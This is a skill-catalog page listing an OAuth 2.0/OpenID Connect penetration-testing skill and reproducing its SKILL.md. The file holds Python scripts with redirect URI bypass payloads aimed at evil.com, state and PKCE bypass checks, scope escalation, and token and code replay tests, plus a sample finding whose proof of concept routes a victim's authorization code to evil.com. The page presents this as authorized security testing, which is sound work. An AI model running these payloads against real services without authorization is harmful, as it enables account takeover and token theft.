Skip to main content
skill CX Codex

testing-oauth2-implementation-flaws — Claude Code skill: OAuth

A skill that probes OAuth 2.0 and OpenID Connect flows for code interception, redirect URI tricks, CSRF, token leakage and PKCE bypass.

Install into Claude Code · Skills CLI (Vercel) All methods and platforms ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-oauth2-implementation-flaws -a claude-code
Open on GitHub

What testing-oauth2-implementation-flaws does

The skill walks an agent through an OAuth audit step by step. It starts by discovering endpoints from /.well-known/openid-configuration, and falls back to common paths such as /authorize and /oauth2/authorize when that document is missing. Then come redirect URI checks: the payload list covers a swapped domain, authority confusion with @, dot-segment and fragment tricks, an HTTP downgrade and a different port.

Separate steps target the state parameter and the code-to-token exchange. Python scripts show how to send an authorization request with no state, reuse one value across attempts, and see whether the client validates what comes back. Intercepting redirects and token flows calls for Burp Suite Professional with the EsPReSSO extension.

Before you start, you need written authorization naming the OAuth provider and client applications in scope, a test OAuth client registered with the authorization server, and Python 3.10+ with the requests and oauthlib libraries. The skill is explicit that it must not be used without written authorization, since OAuth testing can end in token theft or unauthorized access. Worth settling the scope of work first.

What it helps with

  • find weak redirect URI validation in an authorization code flow
  • check whether the server requires state and rejects its reuse
  • assess how a client stores and transmits tokens
  • spot scope escalation when a client asks for more than it was granted
  • verify ID token validation and nonce usage in OpenID Connect

Example prompts for the agent

  • test our OAuth provider's redirect URI validation for bypasses
  • run the state parameter checks against the test-client-id client
  • see if PKCE can be bypassed in our authorization flow

How to install testing-oauth2-implementation-flaws

1Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-oauth2-implementation-flaws -a claude-code

2Manually: put the files in place

~/.claude/skills/testing-oauth2-implementation-flaws/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/testing-oauth2-implementation-flaws/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about testing-oauth2-implementation-flaws

How do I install testing-oauth2-implementation-flaws in Claude?

Run npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-oauth2-implementation-flaws -a claude-code. The skill file then sits at ~/.claude/skills/testing-oauth2-implementation-flaws/SKILL.md.

What does testing-oauth2-implementation-flaws do?

It tests OAuth 2.0 and OpenID Connect implementations for authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation and PKCE bypass. It works through Burp Suite Professional with the EsPReSSO extension.

What do I need before running the skill?

Written authorization naming the OAuth provider and clients in scope, a test OAuth client registered with the authorization server, Burp Suite Professional, and Python 3.10+ with requests and oauthlib. Testing is not done without written authorization.

Source text

SKILL.md · Apache-2.0
---
name: testing-oauth2-implementation-flaws
description: Tests OAuth 2.0 and OpenID Connect implementations for authorization code
  interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope
  escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension
  to probe the authorization server, client, and token handling. Use when assessing OAuth2/OIDC
  flows or SSO systems for misconfigurations enabling account takeover.
domain: cybersecurity
subdomain: api-security
tags:
- api-security
- oauth2
- oidc
- authentication
- redirect-uri
- token-security
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1552.001
- T1027
- T1070
---
# Testing OAuth2 Implementation Flaws

## When to Use

- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
- Evaluating token storage, transmission, and lifecycle management in OAuth implementations
- Testing scope escalation where clients request more permissions than authorized
- Assessing OpenID Connect implementations for ID token validation and nonce usage

**Do not use** without written authorization. OAuth testing may result in token theft or unauthorized access.

## Prerequisites

- Written authorization specifying the OAuth provider and client applications in scope
- Test OAuth client registered with the authorization server
- Burp Suite Professional for intercepting OAuth redirects and token flows
- Python 3.10+ with `requests` and `oauthlib` libraries
- Browser developer tools for observing OAuth redirect chains
- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)

## Workflow

### Step 1: OAuth Flow Reconnaissance

```python
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets

AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"

# Discover OAuth endpoints
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
    config = well_known.json()
    print("OAuth/OIDC Configuration:")
    print(f"  Authorization: {config.get('authorization_endpoint')}")
    print(f"  Token: {config.get('token_endpoint')}")
    print(f"  UserInfo: {config.get('userinfo_endpoint')}")
    print(f"  JWKS: {config.get('jwks_uri')}")
    print(f"  Supported grants: {config.get('grant_types_supported')}")
    print(f"  Supported scopes: {config.get('scopes_supported')}")
    print(f"  PKCE methods: {config.get('code_challenge_methods_supported')}")
    auth_endpoint = config['authorization_endpoint']
    token_endpoint = config['token_endpoint']
else:
    # Try common paths
    for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
        resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
        if resp.status_code in (302, 400):
            print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
            auth_endpoint = f"{AUTH_SERVER}{path}"
            break
```

### Step 2: Redirect URI Validation Testing

```python
# Test redirect_uri validation strictness
REDIRECT_BYPASS_PAYLOADS = [
    # Open redirect variations
    REDIRECT_URI,                                          # Legitimate
    "https://evil.com",                                    # Different domain
    "https://app.example.com.evil.com/callback",          # Subdomain of attacker
    "https://[email protected]/callback",          # URL authority confusion
    f"{REDIRECT_URI}/../../../evil.com",                  # Path traversal
    f"{REDIRECT_URI}?next=https://evil.com",              # Parameter injection
    f"{REDIRECT_URI}#https://evil.com",                   # Fragment injection
    f"{REDIRECT_URI}%23evil.com",                         # Encoded fragment
    "https://app.example.com/callback/../../evil",        # Relative path
    "https://APP.EXAMPLE.COM/callback",                   # Case variation
    "https://app.example.com/Callback",                   # Path case variation
    "https://app.example.com/callback/",                  # Trailing slash
    "https://app.example.com/callback?",                  # Trailing question mark
    "http://app.example.com/callback",                    # HTTP downgrade
    "https://app.example.com:443/callback",               # Explicit port
    "https://app.example.com:8443/callback",              # Different port
    f"{REDIRECT_URI}/.evil.com",                          # Dot segment
    "https://app.example.com/callbackevil",               # Path prefix match
    "javascript://app.example.com/callback%0aalert(1)",   # JavaScript protocol
]

print("=== Redirect URI Validation Testing ===\n")
for redirect in REDIRECT_BYPASS_PAYLOADS:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": redirect,
        "scope": SCOPE,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)

    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location or redirect in location:
            status = "ACCEPTED"
            if redirect != REDIRECT_URI:
                print(f"  [VULNERABLE] {redirect[:70]} -> Redirect accepted")
        else:
            status = "REDIRECTED"
    elif resp.status_code == 400:
        status = "REJECTED"
    else:
        status = f"HTTP {resp.status_code}"

    if redirect == REDIRECT_URI:
        print(f"  [BASELINE] {redirect[:70]} -> {status}")
```

### Step 3: State Parameter (CSRF) Testing

```python
# Test 1: Missing state parameter
params_no_state = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[CSRF] Authorization code issued without state parameter")

# Test 2: State parameter reuse
state_value = "fixed_state_value_123"
# Use same state for multiple authorization requests
for i in range(3):
    params = {**params_no_state, "state": state_value}
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        returned_state = urllib.parse.parse_qs(
            urllib.parse.urlparse(location).query).get("state", [None])[0]
        if returned_state == state_value:
            print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")

# Test 3: Token exchange without state validation (client-side check)
# Intercept the callback and try exchanging the code without state
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
```

### Step 4: PKCE Bypass Testing

```python
# Test if PKCE (Proof Key for Code Exchange) is enforced

# Generate PKCE values
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')

# Test 1: Authorization request without PKCE
params_no_pkce = {
    "response_type": "code",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
    print("[PKCE] Authorization code issued without PKCE challenge")

# Test 2: Token exchange without code_verifier
auth_code = "captured_auth_code"  # From intercept
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    # No code_verifier
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued without code_verifier - PKCE not enforced")

# Test 3: Token exchange with wrong code_verifier
token_resp = requests.post(token_endpoint, data={
    "grant_type": "authorization_code",
    "code": auth_code,
    "redirect_uri": REDIRECT_URI,
    "client_id": CLIENT_ID,
    "code_verifier": "wrong_verifier_value_that_does_not_match",
})
if token_resp.status_code == 200:
    print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")

# Test 4: Downgrade from S256 to plain
params_plain_pkce = {
    **params_no_pkce,
    "code_challenge": code_verifier,  # Plain = verifier itself
    "code_challenge_method": "plain",
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
if resp.status_code == 302:
    print("[PKCE] Plain challenge method accepted - vulnerable to interception")
```

### Step 5: Scope Escalation and Token Testing

```python
# Test 1: Request additional scopes beyond what's registered
elevated_scopes = [
    "openid profile email admin",
    "openid profile email write:users",
    "openid profile email delete:*",
    "openid profile email admin:full",
    "*",
]

for scope in elevated_scopes:
    params = {
        "response_type": "code",
        "client_id": CLIENT_ID,
        "redirect_uri": REDIRECT_URI,
        "scope": scope,
        "state": secrets.token_urlsafe(32),
    }
    resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
    if resp.status_code == 302:
        location = resp.headers.get("Location", "")
        if "code=" in location:
            print(f"[SCOPE] Elevated scope accepted: {scope}")

# Test 2: Token reuse across clients
# Use a token from client A on client B's API
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
    headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
    print("[TOKEN] Token from client A accepted by different service (audience not validated)")

# Test 3: Refresh token theft and reuse
refresh_token = "captured_refresh_token"
# Try using refresh token with different client_id
token_resp = requests.post(token_endpoint, data={
    "grant_type": "refresh_token",
    "refresh_token": refresh_token,
    "client_id": "different-client-id",
})
if token_resp.status_code == 200:
    print("[TOKEN] Refresh token accepted for different client - not bound to client")
```

### Step 6: Implicit Flow and Token Leakage Testing

```python
# Test if implicit flow is enabled (should be disabled per OAuth 2.1)
implicit_params = {
    "response_type": "token",
    "client_id": CLIENT_ID,
    "redirect_uri": REDIRECT_URI,
    "scope": SCOPE,
    "state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
    location = resp.headers.get("Location", "")
    if "access_token=" in location:
        print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")

# Test token leakage via Referer header
# Check if tokens appear in URLs that could leak via Referer
print("\nToken Leakage Checks:")
print("  - Check if access tokens appear in URL query parameters")
print("  - Check if tokens are logged in server access logs")
print("  - Check if callback URL with code is cached by the browser")
print("  - Check if the authorization code is single-use (replay test)")

# Authorization code replay test
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
    token_resp = requests.post(token_endpoint, data={
        "grant_type": "authorization_code",
        "code": auth_code_to_replay,
        "redirect_uri": REDIRECT_URI,
        "client_id": CLIENT_ID,
        "client_secret": "client_secret_value",
    })
    print(f"  Code replay attempt {attempt+1}: {token_resp.status_code}")
    if attempt > 0 and token_resp.status_code == 200:
        print("  [VULNERABLE] Authorization code is not single-use")
```

## Key Concepts

| Term | Definition |
|------|------------|
| **Authorization Code Flow** | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |
| **PKCE** | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception |
| **Redirect URI Validation** | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect |
| **State Parameter** | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |
| **Scope Escalation** | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |
| **Implicit Flow** | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |

## Tools & Systems

- **Burp Suite Professional**: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
- **EsPReSSO (Burp Extension)**: Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
- **oauth2-security-tester**: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
- **OWASP ZAP**: Passive scanner that detects OAuth misconfigurations in intercepted traffic
- **jwt.io**: Online JWT decoder for analyzing OAuth access tokens and ID tokens

## Common Scenarios

### Scenario: Social Login OAuth Implementation Assessment

**Context**: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.

**Approach**:
1. Analyze the OAuth configuration at `/.well-known/openid-configuration` for both providers
2. Test redirect URI validation: discover that the application registers `https://app.example.com/callback` but the server accepts `https://app.example.com/callback/..%2fevil`
3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)
4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile
5. Test implicit flow: still enabled despite not being used by the application
6. Test scope: application requests `openid profile email` but the authorization server also grants `read:repos` without explicit consent
7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement
8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)

**Pitfalls**:
- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
- Not testing both the authorization request and the token exchange independently
- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
- Not testing the state parameter validation on the client side (server may include it but client may not check it)
- Assuming PKCE is enforced because the authorization server supports it (client must also send it)

## Output Format

```
## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft

**ID**: API-OAUTH-001
**Severity**: Critical (CVSS 9.3)
**Affected Component**: OAuth 2.0 Authorization Code Flow
**Authorization Server**: auth.example.com

**Description**:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.

**Proof of Concept**:
1. Craft authorization URL with manipulated redirect_uri:
   https://auth.example.com/authorize?response_type=code&client_id=app
   &redirect_uri=https://app.example.com/callback/../../../evil.com
   &scope=openid+profile+email&state=abc123
2. User authenticates and approves consent
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
4. Attacker exchanges code at token endpoint (no PKCE required)
5. Attacker receives access token and ID token for victim's account

**Impact**:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.

**Remediation**:
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
2. Enforce PKCE (S256 method) for all authorization code flow requests
3. Validate the state parameter in the callback handler before exchanging the code
4. Disable the implicit flow on the authorization server
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
6. Validate the audience (aud) claim in tokens before accepting them
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Similar skills

All skills for Security →

From the same set90

testing-for-sensitive-data-exposure A skill that walks an agent through checks for leaked secrets, PII in API responses, and unencrypted data transmission. Useful during authorized pentests and data protection audits. CX Codex +1 356installs performing-security-headers-audit Audits HTTP security headers including CSP, HSTS, and cookie flags. It detects missing browser protections and configuration flaws on web endpoints. CX Codex +1 359installs analyzing-malware-persistence-with-autoruns A skill that walks the agent through Windows persistence hunting with Sysinternals Autoruns: registry keys, services, tasks, drivers. Built for incident response. CX Codex +1 356installs analyzing-memory-dumps-with-volatility Investigates RAM memory dumps using Volatility 3 to uncover hidden malware, code injections, network activity, and cached credentials. CX Codex +1 354installs implementing-api-rate-limiting-and-throttling This skill configures Redis-backed sliding window and token bucket rate limiters to protect API endpoints against brute force attacks. CX Codex +1 348installs analyzing-malware-family-relationships-with-malpedia This skill connects malware aliases, YARA rules, and threat actors through Malpedia. Use it to study family lineage, loader-payload chains, or attribution. CX Codex +1 349installs analyzing-lnk-file-and-jump-list-artifacts Parses Windows shortcut files and Jump Lists with LECmd, JLECmd and manual Shell Link parsing. Useful when you need proof a file was opened after it was deleted. CX Codex +1 348installs analyzing-macro-malware-in-office-documents Examines malicious VBA macros in Word, Excel, and PowerPoint files. Use it to inspect suspicious attachments and reconstruct an attack chain. CX Codex +1 336installs

Project sponsors

Companies that keep this analytics open
Gold sponsor

Impressions, clicks and code copies — open statistics. We keep the numbers public for the same reason NeBlask itself is public. Become a sponsor